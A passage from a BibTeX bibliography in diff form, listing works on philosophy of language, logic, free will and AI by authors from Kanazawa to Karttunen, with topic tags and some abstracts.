kanazawa:2001a, + author = {Makoto Kanazawa}, + title = {Singular Donkey Sentences are Semantically Singular}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {3}, + pages = {383--403}, + topic = {donkey-anaphora;} + } + +@book{ kane:1985a, + author = {Robert Kane}, + title = {Free Will and Values}, + publisher = {State University of New York Press}, + year = {1985}, + address = {Albany}, + topic = {freedom;volition;} + } + +@book{ kane:1996a, + author = {Robert Kane}, + title = {The Significance of Free Will}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + xref = {Review: ginet:1998a.}, + topic = {freedom;volition;} + } + +@article{ kane:1999a, + author = {Robert Kane}, + title = {Responsibility, Luck, and Chance: Reflections on + Free Will and Indeterminism}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {5}, + pages = {217--240}, + topic = {(in)determinism;freedom;volition;} + } + +@incollection{ kane:2000a, + author = {Robert Kane}, + title = {The Dual Regress of Free Will and the Role + of Alternative Possibilities}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {57--79}, + address = {Oxford}, + topic = {freedom;volition;} + } + +@article{ kaneko:1999a, + author = {Mamoru Kaneko}, + title = {Common Knowledge Logic and Game Logic}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {2}, + pages = {685--700}, + topic = {epistemic-logic;mutual-beliefs;game-logic;} + } + +@article{ kaneko-etal:2002a, + author = {Mamoro Kaneko and Takashi Nagashima and Nobu-Yuki Suzuki + and Yoshihito Tanaka}, + title = {A Map of Common Knowledge Logics}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {1}, + pages = {57--86}, + topic = {epistemic-logic;mutual-beliefs;} + } + +@article{ kang:1988a, + author = {Beom-Mo Kang}, + title = {Unbounded Reflexives}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {4}, + pages = {415--456}, + topic = {reflexive-constructions;nl-syntax;Korean-language;} + } + +@article{ kang:1995a, + author = {Beom-Mo Kang}, + title = {On the Treatment of Complex Predicates in Categorial + Grammar}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {1}, + pages = {61--81}, + topic = {categorial-grammar;} + } + +@article{ kanger:1957a, + author = {Stig Kanger}, + title = {The Morning Star Paradox}, + journal = {Theoria}, + year = {1957}, + volume = {23}, + pages = {1--11}, + missinginfo = {number}, + topic = {quantifying-in-modality;intensionality;} + } + +@incollection{ kanger:1971a, + author = {Stig Kanger}, + title = {New Foundations for Ethical Theory}, + booktitle = {Deontic Logic: Introductory and Systematic Readings}, + editor = {Risto Hilpinen}, + publisher = {D. Reidel Publishing Company}, + address = {Dordrecht}, + year = {1971}, + pages = {36--58}, + note = {(Published as a privately distributed pamphlet in 1957)}, + topic = {deontic-logic;} + } + +@article{ kanger:1972a, + author = {Stig Kanger}, + title = {Law and logic}, + journal = {Theoria}, + volume = {38}, + pages = {105--132}, + year = {1972}, + topic = {logic-and-law;deontic-logic;} + } + +@book{ kanger-ohman:1981a, + editor = {Stig Kanger and Sven \"Ohman}, + title = {Philosophy and Grammar: Papers on the Occasion of the + Quincentennial of {U}ppsala {U}niversity}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + address = {Dordrecht}, + contentnote = {TC: + 1. G.H. Von Wright, "Humanism and the humanities" + 2. W.V. Quine, "Grammar, truth, and logic" + 3. Dagfinn Follesdal, "Comments on {Q}uine" + 4. Jaakko Hintikka, "Theories of Truth and Learnable + Languages" + 5. Barbara H. Partee, "Montague Grammar, Mental Representations, + and Reality" + 6. David Lewis, "Index, Context, and Content" + 7. James D. McCawley, "Fuzzy Logic and Restricted Quantifiers" + 10. W. Admoni, "Die Semantische {S}truktur der Syntaktischen + {G}ebilde und die Semantischen {S}ysteme der + {G}enerativisten" + 11. A. Naess, "The Empirical Semantics of Key Terms, Phrases, + and Sentences" + } , + ISBN = {9027710910}, + topic = {analytic-philosophy;} + } + +@article{ kant_e:1983a, + author = {Elaine Kant}, + title = {On the Efficient Synthesis of Efficient Programs}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {3}, + pages = {253--305}, + topic = {program-synthesis;} + } + +@book{ kant_i:1961a, + author = {Immanuel Kant}, + title = {Critique of Pure Reason}, + publisher = {St. Martin's Press}, + year = {1961}, + address = {New York}, + note = {First published (in German), 1781. Translated into + {E}nglish by Norman Kemp Smith.}, + topic = {philosophy-classics;} + } + +@incollection{ kapitan:1994a, + author = {Tomis Kapitan}, + title = {Exports and Imports: Anaphora in Attitudinal Ascriptions}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {273--292}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {propositional-attitudes;anaphora;} + } + +@incollection{ kapitan:2000a, + author = {Tomis Kapitan}, + title = {Autonomy and Manipulated Freedom}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {81--103}, + address = {Oxford}, + topic = {freedom;volition;} + } + +@article{ kaplan_ah-schubert:2000a, + author = {Aaron N. Kaplan and Lenhart K. Schubert}, + title = {A Computational Model of Belief}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {1}, + pages = {119--160}, + topic = {reasoning-about-knowledge;nonmonotonic-logic; + communication-models;} + } + +@unpublished{ kaplan_an:1997a, + author = {Aaron N. Kaplan}, + title = {Simulative Inference in a Computational Model of Belief}, + year = {1997}, + note = {Unpublished manuscript, Computer Science Department, + University of Rochester}, + topic = {reasoning-about-knowledge;nonmonotonic-logic;} + } + +@inproceedings{ kaplan_an:1998a, + author = {Aaron N. Kaplan}, + title = {Simulative Inference about Nonmonotonic Reasoning}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {71--81}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;nonmonotonic-logic; + communication-models;} + } + +@unpublished{ kaplan_d:1966a, + author = {David Kaplan}, + title = {What is {R}ussell's Theory of Descriptions?}, + year = {1966}, + note = {Unpublished manuscript, Philosophy Department, UCLA.}, + xref = {Publication: kaplan_d:1970a1.}, + topic = {Russell;definite-descriptions;} + } + +@unpublished{ kaplan_d:1967a, + author = {David Kaplan}, + title = {Trans World Heir Lines}, + year = {1967}, + note = {Unpublished manuscript, Philosophy Department, UCLA.}, + topic = {quantifying-in-modality;individuation;} + } + +@unpublished{ kaplan_d:1967b, + author = {David Kaplan}, + title = {Individuals in Intensional Logics}, + year = {1967}, + note = {Unpublished manuscript, Philosophy Department, UCLA.}, + topic = {quantifying-in-modality;individuation;} + } + +@unpublished{ kaplan_d:1967c, + author = {David Kaplan}, + title = {Topics in Mathematical Logic}, + year = {1967}, + note = {Unpublished course description, Philosophy Department, UCLA.}, + topic = {philosophical-logic;} + } + +@unpublished{ kaplan_d:1967d, + author = {David Kaplan}, + title = {Individuals in Intensional Logic}, + year = {1967}, + note = {Unpublished manuscript, Philosophy Department, UCLA.}, + topic = {quantifying-in-modality;individuation;} + } + +@article{ kaplan_d:1968a, + author = {David Kaplan}, + title = {Review of `A Semantical Analysis of + Modal Logic {I}: Normal Modal Propositional Calculi'}, + journal = {Journal of Symbolic Logic}, + year = {1966}, + volume = {31}, + pages = {120--122}, + missinginfo = {number}, + topic = {modal-logic;} + } + +@article{ kaplan_d:1969a1, + author = {David Kaplan}, + title = {Quantifying In}, + journal = {Synt\`hese}, + year = {1969}, + pages = {178--214}, + missinginfo = {volume,number}, + xref = {Republication: kaplan_d:1969a2.}, + topic = {quantifying-in-modality;} + } + +@incollection{ kaplan_d:1969a2, + author = {David Kaplan}, + title = {Quantifying In}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {160-- 181}, + address = {Encino, California}, + xref = {Original Publication: kaplan_d:1969a1.}, + topic = {quantifying-in-modality;} + } + +@incollection{ kaplan_d:1970a1, + author = {David Kaplan}, + title = {What is {R}ussell's Theory of Descriptions?}, + booktitle = {Physics, Logic, and History}, + publisher = {Plenum Press}, + year = {1970}, + editor = {Wolfgang Yourgrau and Allen D. Beck}, + pages = {277--288}, + address = {Encino, California}, + xref = {Republication: kaplan_d:1970a2.}, + topic = {Russell;definite-descriptions;} + } + +@incollection{ kaplan_d:1970a2, + author = {David Kaplan}, + title = {What is {R}ussell's Theory of Descriptions?}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {210--217}, + address = {Encino, California}, + xref = {Original Publication: kaplan_d:1970a1.}, + topic = {Russell;definite-descriptions;} + } + +@unpublished{ kaplan_d:1973a, + author = {David Kaplan}, + title = {Intensional Logic: April 4 (No. 1)}, + year = {1973}, + note = {Unpublished course material, Philosophy Department, UCLA.}, + topic = {philosophical-logic;} + } + +@unpublished{ kaplan_d:1973b, + author = {David Kaplan}, + title = {Topics in Mathematical Logic: April 11}, + year = {1973}, + note = {Unpublished course material, Philosophy Department, UCLA.}, + topic = {philosophical-logic;} + } + +@article{ kaplan_d:1975a, + author = {David Kaplan}, + title = {How to {R}ussell a {F}rege-{C}hurch}, + journal = {Journal of Philosophy}, + year = {1975}, + volume = {72}, + number = {19}, + pages = {716--729}, + topic = {definite-descriptions;singular-propositions;} + } + +@incollection{ kaplan_d:1975b, + author = {David Kaplan}, + title = {Significance and Analyticity: A Comment on Some + Recent Proposals of {C}arnap}, + booktitle = {Rudolph {C}arnap, Logical Empiricist}, + publisher = {D. Reidel Publishing Co.}, + year = {1975}, + editor = {Jaakko Hintikka}, + pages = {87--94}, + address = {Dordrecht}, + topic = {Carnap;analyticity;} + } + +@unpublished{ kaplan_d:1977a, + author = {David Kaplan}, + title = {Demonstratives}, + year = {1977}, + note = {Unpublished course description, Philosophy Department, UCLA.}, + topic = {indexicals;context;} + } + +@unpublished{ kaplan_d:1977b, + author = {David Kaplan}, + title = {Demonstratives}, + year = {1977}, + note = {Unpublished manuscript, Philosophy Department, UCLA.}, + xref = {Publication: kaplan_d:1989a.}, + topic = {indexicals;context;} + } + +@article{ kaplan_d:1978a, + author = {David Kaplan}, + title = {On the Logic of Demonstratives}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {8}, + pages = {81--98}, + topic = {nl-semantics;context;indexicals;demonstratives; + logic-of-context;} + } + +@article{ kaplan_d:1978b, + author = {David Kaplan}, + title = {Words}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1990}, + volume = {64}, + note = {Supplementary Series.}, + pages = {93--119}, + topic = {philosophy-of-language;referring-expressions;reference;} + } + +@incollection{ kaplan_d:1978c, + author = {David Kaplan}, + title = {Dthat}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {383--400}, + address = {Minneapolis}, + topic = {nl-semantics;indexicals;demonstratives;} + } + +@incollection{ kaplan_d:1978d, + author = {David Kaplan}, + title = {On the Logic of Demonstratives}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {401--412}, + address = {Minneapolis}, + topic = {nl-semantics;indexicals;demonstratives;} + } + +@unpublished{ kaplan_d:1984a, + author = {David Kaplan}, + title = {Opacity}, + year = {1984}, + note = {Unpublished manuscript, UCLA, 1984.}, + topic = {propositional-attitudes;} + } + +@incollection{ kaplan_d:1989a, + author = {David Kaplan}, + title = {Demonstratives: an Essay on the Semantics, Logic, + Metaphysics, and Epistemology of Demonstratives + and Other Indexicals}, + booktitle = {Themes from {K}aplan}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1989}, + editor = {Joseph Almog and John Perry and Howard Wettstein}, + pages = {481--563}, + topic = {indexicals;context;} + } + +@unpublished{ kaplan_j:1980a, + author = {Jerome Kaplan}, + title = {Interpreting Natural Language Database Updates}, + year = {1980}, + note = {Unpublished manuscript, Computer Science Department, + Stanford University.}, + missinginfo = {Date is guess.}, + topic = {database-update;nl-interpretation;} + } + +@article{ kaplan_m:1985a, + author = {Mark Kaplan}, + title = {It's Not What You Know that Counts}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {7}, + pages = {350--363}, + topic = {belief;knowledge;} + } + +@article{ kaplan_m:1993a, + author = {Mark Kaplan}, + title = {Not by the Book}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {153--171}, + topic = {foundations-of-utility;Dutch-book-argument;} + } + +@techreport{ kaplan_r-bresnan:1981a1, + author = {Ronald Kaplan and Joan Bresnan}, + title = {Lexical-Functional Grammar: A Formal System for + Grammatical Representation}, + institution = {Center for Cognitive Science, MIT}, + number = {Occasional Paper \#13}, + year = {1971}, + address = {Cambridge, Massachusetts}, + topic = {LFG;} + } + +@incollection{ kaplan_r-bresnan:1981a2, + author = {Ronald Kaplan and Joan Bresnan}, + title = {Lexical-Functional Grammar: A Formal System for + Grammatical Representation}, + booktitle = {The Mental Representation of Grammatical Relations}, + publisher = {The {MIT} Press}, + year = {1982}, + editor = {Joan Bresnan}, + address = {Cambridge, Massachusetts}, + missinginfo = {pages}, + topic = {LFG;} + } + +@article{ kaplan_rm:1972a, + author = {Ronald M. Kaplan}, + title = {Augmented Transition Networks as Psychological Models of + Sentence Comprehension}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {77--100}, + topic = {Augmented-Transition-Networks;psycholinguistics; + parsing-psychology;} + } + +@incollection{ kaplan_rm:1987a, + author = {Ronald M. Kaplan}, + title = {Three Seductions of Computational Linguistics}, + booktitle = {Linguistic Theory and Computer Applications}, + publisher = {Academic Press}, + year = {1987}, + editor = {P. Whitelock}, + pages = {149--188}, + address = {London}, + topic = {nlp-and-linguistics;} + } + +@article{ kaplan_sj:1982a, + author = {S. Jerrold Kaplan}, + title = {Cooperative Responses from a Portable Natural Language + Query System}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {2}, + pages = {165--187}, + topic = {question-answering;discourse-planning;cooperation;} + } + +@article{ kapur-mundy:1988a, + author = {Deepak Kapur and Joseph L. Mundy}, + title = {Wu's Method and Its Application to Perspective Viewing}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {15--36}, + acontentnote = {Abstract: + An algebraic method for proving a class of geometry theorems + recently proposed by Wu is informally discussed. Key concepts + relevant to the method are explained. An application of this + method to perspective viewing in image understanding is + discussed. Finally, it is outlined how the method can be + helpful to prove geometry theorems involving inequalities to + capture the relation of a point being in between two given + points. This is also illustrated using an example from image + understanding.}, + topic = {reasoning-about-perspective;geometrical-reasoning; + theorem-proving;} + } + +@article{ kapur_d-musser:1987a, + author = {Deepak Kapur and David R. Musser}, + title = {Proof by Consistency}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {2}, + pages = {125--157}, + acontentnote = {Abstract: + Advances of the past decade in methods and computer programs + for showing consistency of proof systems based on first-order + equations have made it feasible, in some settings, to use proof + by consistency as an alternative to conventional rules of + inference. Musser described the method applied to proof of + properties of inductively defined objects. Refinements of this + inductionless induction method were discussed by Kapur, Goguen, + Huet and Hullot, Huet and Oppen, Lankford, Dershowitz, Paul, and + more recently by Jouannaud and Kounalis as well as by Kapur, + Narendran and Zhang. This paper gives a very general account of + proof by consistency and inductionless induction and shows how + previous results can be derived simply from the general theory. + New results include a theorem giving characterizations of an + unambiguity property that is key to applicability of proof by + consistency, and a theorem similar to the Birkhoff's + Completeness Theorem for equational proof systems, but + concerning inductive proof. } , + topic = {reasoning-about-consistency;} + } + +@article{ kapur_d:1988a, + author = {Deepak Kapur}, + title = {A Refutational Approach to Geometry Theorem Proving}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {61--93}, + topic = {spatial-reasoning;geometrical-reasoning;theorem-proving;} + } + +@article{ kapur_d-mundy:1988a, + author = {Deepak Kapur and Joseph L. Mundy}, + title = {Geometric Reasoning and Artificial Intelligence: + Introduction to the Special Volume}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {1--11}, + topic = {spatial-reasoning;geometrical-reasoning;} + } + +@book{ kapur_d:1992a, + title = {Eleventh International Conference on Automated Deduction + {CADE}92, {S}arasota {S}prings, New York, June 1992}, + editor = {Deepak Kapur}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + ISBN = {3540671900 (softcover)}, + topic = {theorem-proving;} + } + +@incollection{ kapur_s-clark_r:1996a, + author = {Shayam Kapur and Robin Clark}, + title = {The Automatic Construction of a Symbolic Parser Via + Statistical Techniques}, + booktitle = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Judith Klavans and Philip Resnik}, + pages = {95--117}, + address = {Cambridge, Massachusetts}, + topic = {automatic-grammar-acquisition;statistical-nlp;} + } + +@book{ karlsson_f-etal:1994a, + editor = {Fred Karlsson and Atro Voutilainen and Juha + Heikkila and Arto Antilla}, + title = {Constraint Grammar: A Language-Independent System + for Parsing Unrestricted Text}, + publisher = {Mouton de Gruyter}, + year = {1994}, + address = {Berlin}, + topic = {nl-interpretation;computational-linguistics; + parsing-algorithms;} +} + +@incollection{ karlsson_l:1998a, + author = {Lars Karlsson}, + title = {Anything Can Happen; on Narratives and Hypothetical + Reasoning}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {36--47}, + address = {San Francisco, California}, + topic = {kr;narrative-representation;temporal-reasoning; + branching-time;kr-course;} + } + +@article{ karov-edelman:1998a, + author = {Yael Karov and Shimon Edelman}, + title = {Similarity-Based Word Sense Disambiguation}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {41--59}, + topic = {lexical-disambiguation;} + } + +@inproceedings{ karp_p-etal:1995a, + author = {Peter Karp and Karen Myers and Tom Gruber}, + title = {The Generic Frame Protocol}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {768--774}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + contentnote = {Algorithm for KB implementation, access.}, + topic = {large-kr-systems;frames;kr-course;} + } + +@inproceedings{ karp_p-paley:1995a, + author = {Peter Karp and Suzanne Paley}, + title = {Knowledge Representation in the Large}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {751--758}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {frames;large-kr-systems;kr-course;} + } + +@article{ karp_rm-pearl:1983a, + author = {Richard M. Karp and Judea Pearl}, + title = {Searching for an Optimal Path in a Tree with Random Costs}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {1--2}, + pages = {99--116}, + acontentnote = {Abstract: + We consider the problem of finding an optimal path leading from + the root of a tree to any of its leaves. The tree is known to be + uniform, binary, and of height N, and each branch independently + may have a cost of 1 or 0 with probability p and 1 - p, + respectively. + We show that for p < [$\textfrac{1}{2}$] the uniform cost + algorithm can find a cheapest path in linear expected time. By + contrast, when p > [$\textfrac{1}{2}$], every algorithm which + guarantees finding an exact cheapest path, or even a path within + a fixed cost ratio of the cheapest, must run in exponential + average time. If, however, we are willing to accept a near + optimal solution almost always, then a pruning algorithm exists + which finds such a solution in linear expected time. The + algorithm employs a depth-first strategy which stops at regular + intervals to appraise its progress and, if the progress does not + meet a criterion based on domain-specific knowledge, the current + node is irrevocably pruned. } , + topic = {search;optimization;decision-trees;} + } + +@incollection{ karpenko:1994a, + author = {A.S. Karpenko}, + title = {Aristotle, {\L}ukasiewicz, and Factor-Semantics}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {7--21}, + address = {Helsinki}, + topic = {temporal-logic;branching-time;truth-value-gaps; + future-contingent-propositions;} + } + +@article{ kartha:1994a, + author = {G. Neelakantan Kartha}, + title = {Two Counterexamples Related to {B}aker's Approach to the + Frame Problem}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {379--391}, + topic = {frame-problem;temporal-reasoning;Yale-shooting-problem;} + } + +@incollection{ kartha-lifschitz:1994a, + author = {G. Neelakantan Kartha and Vladimir Lifschitz}, + title = {Actions with Indirect Effects (Preliminary Report)}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {341--350}, + address = {San Francisco, California}, + missinginfo = {A's 1st name}, + topic = {kr;ramification-problem;kr-course;} + } + +@inproceedings{ kartha-lifschit:1995a, + author = {G. Neelakantan Kartha and Vladimir Lifschitz}, + title = {A Simple Formalization of Actions Using Circumscription}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1970--1975}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {action-formalisms;} + } + +@inproceedings{ kartha-lifschitz:1995a, + author = {G. Neelakantan Kartha}, + title = {Soundness and Completeness Theorems for Three Formalizations + of Action}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {724--729}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {action;action-formalisms;} + } + +@inproceedings{ kartha:1996a, + author = {G. Neelakantan Kartha}, + title = {On the Range of Applicability of {B}aker's Approach + to the Frame Problem}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {action-formalisms;} + } + +@unpublished{ karttunen_l:1967a, + author = {Lauri Karttunen}, + title = {The Identity of Noun Phrases}, + year = {1967}, + note = {Unpublished manuscript, The Rand Corporation.}, + topic = {nl-syntax;noun-phrases;} + } + +@unpublished{ karttunen_l:1968a, + author = {Lauri Karttunen}, + title = {What Do Referential Indices Refer To?}, + year = {1968}, + note = {Unpublished manuscript, The Rand Corporation.}, + topic = {anaphora;reference;discourse-referents;pragmatics;} + } + +@unpublished{ karttunen_l:1969a, + author = {Lauri Karttunen}, + title = {What Makes Definite Noun Phrases Definite?}, + year = {1969}, + note = {Unpublished manuscript, The Rand Corporation.}, + topic = {(in)definiteness;} + } + +@article{ karttunen_l:1971a, + author = {Lauri Karttunen}, + title = {Some Observations on Factivity}, + journal = {Papers in Linguistics}, + year = {1971}, + volume = {4}, + pages = {55--69}, + missinginfo = {number}, + topic = {presupposition;pragmatics;(counter)factive-constructions;} + } + +@article{ karttunen_l:1971b, + author = {Lauri Karttunen}, + title = {Implicative Verbs}, + journal = {Language}, + year = {1971}, + volume = {47}, + pages = {340--358}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@book{ karttunen_l:1971c, + author = {Lauri Karttunen}, + title = {Discourse Referents}, + publisher = {Indiana University Linguistics Club}, + year = {1971}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {anaphora;reference;discourse-referents;pragmatics;} + } + +@book{ karttunen_l:1971d, + author = {Lauri Karttunen}, + title = {The Logic of {E}nglish Predicate Complement Constructions}, + publisher = {Indiana University Linguistics Club}, + year = {1968}, + address = {[Bloomington, Indiana}, + topic = {conditionals;(counter)factive-constructions;only-if;} + } + +@article{ karttunen_l:1973a, + author = {Lauri Karttunen}, + title = {Presuppositions of Compound Sentences}, + journal = {Linguistic Inquiry}, + year = {1973}, + volume = {4}, + pages = {169--193}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@unpublished{ karttunen_l:1973d, + author = {Lauri Karttunen}, + title = {The Last Word (on Presuppositions of Compound Sentences)}, + year = {1973}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {pragmatics;presupposition;} + } + +@unpublished{ karttunen_l:1973e, + author = {Lauri Karttunen}, + title = {To Doubt Whether}, + year = {1973}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {interrogatives;nl-semantics;} + } + +@unpublished{ karttunen_l-peters:1973a, + author = {Lauri Karttunen}, + title = {Remarks on Presuppositions}, + year = {1973}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {pragmatics;presupposition;} + } + +@unpublished{ karttunen_l-peters:1973b, + author = {Lauri Karttunen}, + title = {\,`Stop'---Is There a Presupposition or Isn't There?}, + year = {1976}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {pragmatics;presupposition;} + } + +@article{ karttunen_l:1974a, + author = {Lauri Karttunen}, + title = {Presupposition and Linguistic Context}, + journal = {Theoretical Linguistics}, + year = {1974}, + volume = {1}, + number = {1/2}, + pages = {182--194}, + topic = {presupposition;pragmatics;context;} + } + +@inproceedings{ karttunen_l:1974b, + author = {Lauri Karttunen}, + title = {Until}, + booktitle = {Papers from the Tenth Regional Meeting of the + {C}hicago Linguistic Society}, + year = {1974}, + editor = {Michael LaGaly and Robert A. Fox and Anthony Bruck}, + organization = {Chicago Linguistic Society}, + publisher = {Chicago Linguistic Society}, + address = {Goodspeed Hall, 1050 East 59th Street, Chicago, Illinois}, + missinginfo = {pages}, + topic = {temporal-adverbials;} + } + +@unpublished{ karttunen_l:1974c, + author = {Lauri Karttunen}, + title = {On Pragmatic and Semantic Aspects of Meaning}, + year = {1974}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {foundations-of-semantics;pragmatics;presupposition;} + } + +@incollection{ karttunen_l-peters:1975a, + author = {Lauri Karttunen and Stanley Peters}, + title = {Conventional Implicature in {M}ontague Grammar}, + booktitle = {Proceedings of the First Annual Meeting of the + Berkeley Linguistics Society}, + publisher = {Berkeley Linguistics Society}, + year = {1975}, + pages = {266--278}, + address = {University of California at Berkeley, Berkeley, + California}, + topic = {presupposition;conventional-implicature;pragmatics;} + } + +@unpublished{ karttunen_l-karttunen_f:1976a, + author = {Frances Karttunen and Lauri Karttunen}, + title = {The Clitic -kin/-kaan in Finnish}, + year = {1976}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {Finnish-language;presupposition;} + } + +@unpublished{ karttunen_l-peters:1976a, + author = {Lauri Karttunen and Stanley Peters}, + title = {What Indirect Questions Conversationally Implicate}, + year = {1976}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {interrogatives;presupposition;} + } + +@article{ karttunen_l:1977a, + author = {Lauri Karttunen}, + title = {Syntax and Semantics of Questions}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {1}, + pages = {3--44}, + topic = {nl-semantics;interrogatives;} + } + +@unpublished{ karttunen_l:1977b, + author = {Lauri Karttunen}, + title = {Questions Revisited}, + year = {1977}, + note = {Unpublished manuscript, The Rand Corporation.}, + topic = {interrogatives;} + } + +@unpublished{ karttunen_l:1977d, + author = {Lauri Karttunen}, + title = {To Doubt Whether}, + year = {1977}, + note = {Unpublished manuscript, University of Texas at Austin.}, + topic = {nl-semantics;interrogatives;} + } + +@incollection{ karttunen_l-peters:1977b, + author = {Lauri Karttunen and Stanley Peters}, + title = {Requiem for Presupposition}, + booktitle = {Proceedings of the Third Annual Meeting of the + Berkeley Linguistics Society}, + publisher = {Berkeley Linguistics Society}, + year = {1977}, + pages = {360--371}, + address = {University of California at Berkeley, Berkeley, + California}, + topic = {presupposition;pragmatics;} + } + +@incollection{ karttunen_l-peters:1979a, + author = {Lauri Karttunen and Stanley Peters}, + title = {Conventional Implicature}, + booktitle = {Syntax and Semantics {II}: Presupposition}, + publisher = {Academic Press}, + year = {1979}, + editor = {ChoonKyo Oh and David A. Dineen}, + pages = {1--56}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@techreport{ karttunen_l:1986a, + author = {Lauri Karttunen}, + title = {Radical Lexicalism}, + institution= {Center for the Study of Language and Information}, + number = {CSLI--86--68}, + year = {1986}, + address = {Stanford University, Stanford California.}, + topic = {categorial-grammar;lexicon;} + } + +@unpublished{ karttunen_l-etal:1987a, + author = {Lauri Karttunen and Kimmo Koskenniemi and Ronald Kaplan}, + title = {{TWOL}: A Compiler for Two-Level Phonological Rules}, + year = {1987}, + note = {Unpublished manuscript, Xerox Palo Alto research Center.}, + topic = {finite-state-phonology;computational-morphology; + computational-phonology;} + } + +@unpublished{ karttunen_l:1989a, + author = {Lauri Karttunen}, + title = {Translating from {E}nglish to Logic in {T}arski's {W}orld}, + year = {1989}, + note = {Unpublished manuscript, Xerox Palo Alto Research Center.}, + topic = {nl-generation;logic-tutorial-systems;} + } + +@unpublished{ karttunen_l-yampol:1989a, + author = {Lauri Karttunen and Todd Yampol}, + title = {Tarski Translator}, + year = {1989}, + note = {Unpublished manuscript, 